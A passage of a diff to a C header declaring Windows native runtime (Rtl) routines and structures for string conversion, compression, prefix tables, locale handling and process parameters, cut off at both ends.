+ if (DestinationString->MaximumLength < ActualByteCount) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + } + + Status = RtlUTF8ToUnicodeN(DestinationString->Buffer, DestinationString->MaximumLength, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (!NT_SUCCESS(Status)) + { + if (AllocateDestinationString) + { + RtlFreeUnicodeString(DestinationString); + } + break; + } + + if (ActualByteCount > DestinationString->MaximumLength) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + + DestinationString->Length = (USHORT)ActualByteCount; + DestinationString->Buffer[ActualByteCount / sizeof UNICODE_NULL] = UNICODE_NULL; + + } while (false); + + return Status; +} + +#endif //NTDDI_VERSION < NTDDI_WIN10_VB + +NTSYSAPI +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + _Inout_ PUCHAR * SourceCharacter +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + _Inout_ PANSI_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCOEM_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +_When_(AllocateDestinationString, _At_(DestinationString->Buffer, _Post_notnull_ __drv_allocatesMem(Mem))) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + _When_(AllocateDestinationString, _Out_) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlOemStringToCountedUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCOEM_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + _Out_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_opt_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_opt_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlOemToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWSTR UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInOemString) PCCH OemString, + _In_ ULONG BytesInOemString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToOemN( + _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_opt_ PULONG BytesInOemString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_opt_ PULONG BytesInOemString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCCH MultiByteString, + _In_ ULONG BytesInMultiByteString, + _Out_ PULONG pdwSpecialChar +); + +// +// String manipulation routines +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG BytesInCustomCPString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_opt_ PULONG BytesInCustomCPString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_opt_ PULONG BytesInCustomCPString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitCodePageTable( + _In_reads_opt_(2) PUSHORT TableBase, + _Inout_ PCPTABLEINFO CodePageTable +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlInitNlsTables( + _In_ PUSHORT AnsiNlsBase, + _In_ PUSHORT OemNlsBase, + _In_ PUSHORT LanguageNlsBase, + _Out_ PNLSTABLEINFO TableInfo // PCPTABLEINFO? +); + +NTSYSAPI +VOID +NTAPI +RtlResetRtlTranslations( + _In_ PNLSTABLEINFO TableInfo +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsTextUnicode( + _In_ PVOID Buffer, + _In_ ULONG Size, + _Inout_opt_ PULONG Result +); + +#endif // !_KERNEL_MODE + +typedef enum _RTL_NORM_FORM +{ + NormOther = 0x0, + NormC = 0x1, + NormD = 0x2, + NormKC = 0x5, + NormKD = 0x6, + NormIdna = 0xd, + DisallowUnassigned = 0x100, + NormCDisallowUnassigned = 0x101, + NormDDisallowUnassigned = 0x102, + NormKCDisallowUnassigned = 0x105, + NormKDDisallowUnassigned = 0x106, + NormIdnaDisallowUnassigned = 0x10d +} RTL_NORM_FORM; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlNormalizeString( + _In_ ULONG NormForm, // RTL_NORM_FORM + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsNormalizedString( + _In_ ULONG NormForm, // RTL_NORM_FORM + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_ PBOOLEAN Normalized +); +#endif + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// ntifs:FsRtlIsNameInExpression +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNameInExpression( + _In_ PUNICODE_STRING Expression, + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN IgnoreCase, + _In_opt_ PWCH UpcaseTable +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +// ntifs:FsRtlIsNameInUnUpcasedExpression +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNameInUnUpcasedExpression( + _In_ PUNICODE_STRING Expression, + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN IgnoreCase, + _In_opt_ PWCH UpcaseTable +); +#endif + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualDomainName( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2 +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualComputerName( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2 +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDnsHostNameToComputerName( + _Out_ PUNICODE_STRING ComputerNameString, + _In_ PUNICODE_STRING DnsHostNameString, + _In_ BOOLEAN AllocateComputerNameString +); + +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +#define RTL_GUID_STRING_SIZE 38 +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + _In_ REFGUID Guid, + _Out_ _At_(GuidString->Buffer, __drv_allocatesMem(Mem)) + PUNICODE_STRING GuidString +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUIDEx( + _In_ PGUID Guid, + _Inout_ PUNICODE_STRING GuidString, + _In_ BOOLEAN AllocateGuidString +); + +#endif + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + _In_ PCUNICODE_STRING GuidString, + _Out_ GUID* Guid +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +LONG +NTAPI +RtlCompareAltitudes( + _In_ PCUNICODE_STRING Altitude1, + _In_ PCUNICODE_STRING Altitude2 +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToAscii( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToUnicode( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToNameprepUnicode( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); +#endif // NTDDI_VERSION >= NTDDI_VISTA + +// +// Prefix +// + +#ifndef _KERNEL_MODE + +// +// Prefix package types and procedures. +// +// Note that the following two record structures should really be opaque +// to the user of this package. The only information about the two +// structures available for the user should be the size and alignment +// of the structures. +// + +typedef struct _PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY* NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY; +typedef PREFIX_TABLE_ENTRY* PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE; +typedef PREFIX_TABLE* PPREFIX_TABLE; + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +PfxInitialize( + _Out_ PPREFIX_TABLE PrefixTable +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +PfxInsertPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ __drv_aliasesMem PSTRING Prefix, + _Out_ PPREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +PfxRemovePrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PPREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PSTRING FullName +); + +#ifndef _KERNEL_MODE + +// +// The following definitions are for the unicode version of the prefix +// package. +// + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY* NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY* CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY; +typedef UNICODE_PREFIX_TABLE_ENTRY* PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE; +typedef UNICODE_PREFIX_TABLE* PUNICODE_PREFIX_TABLE; + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitializeUnicodePrefix( + _Out_ PUNICODE_PREFIX_TABLE PrefixTable +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +RtlInsertUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ __drv_aliasesMem PUNICODE_STRING Prefix, + _Out_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlRemoveUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ PCUNICODE_STRING FullName, + _In_ ULONG CaseInsensitiveIndex +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ BOOLEAN Restart +); + +// +// Compression +// + +#ifndef _KERNEL_MODE + +// +// Compression package types and procedures. +// + +#define COMPRESSION_FORMAT_NONE (0x0000) // winnt +#define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt +#define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt +#define COMPRESSION_FORMAT_XPRESS (0x0003) // winnt +#define COMPRESSION_FORMAT_XPRESS_HUFF (0x0004) // winnt +#define COMPRESSION_FORMAT_XP10 (0x0005) // winnt +#define COMPRESSION_FORMAT_MAX (0x0005) + +#define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt +#define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt +#define COMPRESSION_ENGINE_HIBER (0x0200) // winnt +#define COMPRESSION_ENGINE_MAX (0x0200) + +#define COMPRESSION_FORMAT_MASK (0x00FF) +#define COMPRESSION_ENGINE_MASK (0xFF00) +#define COMPRESSION_FORMAT_ENGINE_MASK (COMPRESSION_FORMAT_MASK | \ + COMPRESSION_ENGINE_MASK) + +// +// Compressed Data Information structure. This structure is +// used to describe the state of a compressed data buffer, +// whose uncompressed size is known. All compressed chunks +// described by this structure must be compressed with the +// same format. On compressed reads, this entire structure +// is an output, and on compressed writes the entire structure +// is an input. +// + +typedef struct _COMPRESSED_DATA_INFO { + + // + // Code for the compression format (and engine) as + // defined in ntrtl.h. Note that COMPRESSION_FORMAT_NONE + // and COMPRESSION_FORMAT_DEFAULT are invalid if + // any of the described chunks are compressed. + // + + USHORT CompressionFormatAndEngine; + + // + // Since chunks and compression units are expected to be + // powers of 2 in size, we express then log2. So, for + // example (1 << ChunkShift) == ChunkSizeInBytes. The + // ClusterShift indicates how much space must be saved + // to successfully compress a compression unit - each + // successfully compressed compression unit must occupy + // at least one cluster less in bytes than an uncompressed + // compression unit. + // + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + + // + // This is the number of entries in the CompressedChunkSizes + // array. + // + + USHORT NumberOfChunks; + + // + // This is an array of the sizes of all chunks resident + // in the compressed data buffer. There must be one entry + // in this array for each chunk possible in the uncompressed + // buffer size. A size of FSRTL_CHUNK_SIZE indicates the + // corresponding chunk is uncompressed and occupies exactly + // that size. A size of 0 indicates that the corresponding + // chunk contains nothing but binary 0's, and occupies no + // space in the compressed data. All other sizes must be + // less than FSRTL_CHUNK_SIZE, and indicate the exact size + // of the compressed data in bytes. + // + + ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; + +} COMPRESSED_DATA_INFO; +typedef COMPRESSED_DATA_INFO* PCOMPRESSED_DATA_INFO; + +#endif // !_KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_writes_bytes_to_(CompressedBufferSize, *FinalCompressedSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBufferEx( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize, + _In_opt_ PVOID WorkSpace +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBufferEx2( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalUncompressedSize, + _In_opt_ PVOID WorkSpace +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressFragment( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedFragmentSize, *FinalUncompressedSize) PUCHAR UncompressedFragment, + _In_ ULONG UncompressedFragmentSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_range_(< , CompressedBufferSize) ULONG FragmentOffset, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressFragmentEx( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedFragmentSize, *FinalUncompressedSize) PUCHAR UncompressedFragment, + _In_ ULONG UncompressedFragmentSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_range_(< , CompressedBufferSize) ULONG FragmentOffset, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDescribeChunk( + _In_ USHORT CompressionFormat, + _Inout_ PUCHAR* CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR* ChunkBuffer, + _Out_ PULONG ChunkSize +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlReserveChunk( + _In_ USHORT CompressionFormat, + _Inout_ PUCHAR* CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR* ChunkBuffer, + _In_ ULONG ChunkSize +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressChunks( + _Out_writes_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_reads_bytes_(CompressedTailSize) PUCHAR CompressedTail, + _In_ ULONG CompressedTailSize, + _In_ PCOMPRESSED_DATA_INFO CompressedDataInfo +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressChunks( + _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_writes_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_range_(>= , (UncompressedBufferSize - (UncompressedBufferSize / 16))) ULONG CompressedBufferSize, + _Inout_updates_bytes_(CompressedDataInfoLength) PCOMPRESSED_DATA_INFO CompressedDataInfo, + _In_range_(> , sizeof(COMPRESSED_DATA_INFO)) ULONG CompressedDataInfoLength, + _In_ PVOID WorkSpace +); + +// +// Locale +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertLCIDToString( + _In_ LCID LcidValue, + _In_ ULONG Base, + _In_ ULONG Padding, // string is padded to this width + _Out_writes_(Size) PWSTR pResultBuf, + _In_ ULONG Size +); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidLocaleName( + _In_ PCWSTR LocaleName, + _In_ ULONG Flags +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlGetParentLocaleName( + _In_ PCWSTR LocaleName, + _Inout_ PUNICODE_STRING ParentLocaleName, + _In_ ULONG Flags, + _In_ BOOLEAN AllocateDestinationString +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLcidToLocaleName( + _In_ LCID lcid, // sic + _Inout_ PUNICODE_STRING LocaleName, + _In_ ULONG Flags, + _In_ BOOLEAN AllocateDestinationString +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLocaleNameToLcid( + _In_ PCWSTR LocaleName, + _Out_ PLCID lcid, + _In_ ULONG Flags +); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlLCIDToCultureName( + _In_ LCID Lcid, + _Inout_ PUNICODE_STRING String +); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlCultureNameToLCID( + _In_ PUNICODE_STRING String, + _Out_ PLCID Lcid +); + +// private +NTSYSAPI +VOID +NTAPI +RtlCleanUpTEBLangLists( + VOID +); + +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLocaleFileMappingAddress( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize +); +#endif + +#endif // !_KERNEL_MODE + +// +// PEB +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +PPEB +NTAPI +RtlGetCurrentPeb( + VOID +); + +NTSYSAPI +VOID +NTAPI +RtlAcquirePebLock( + VOID +); + +NTSYSAPI +VOID +NTAPI +RtlReleasePebLock( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +LOGICAL +NTAPI +RtlTryAcquirePebLock( + VOID +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateFromPeb( + _In_ ULONG Size, + _Out_ PVOID* Block +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeToPeb( + _In_ PVOID Block, + _In_ ULONG Size +); + +#endif // !_KERNEL_MODE + +// +// Processes +// + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, * PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG 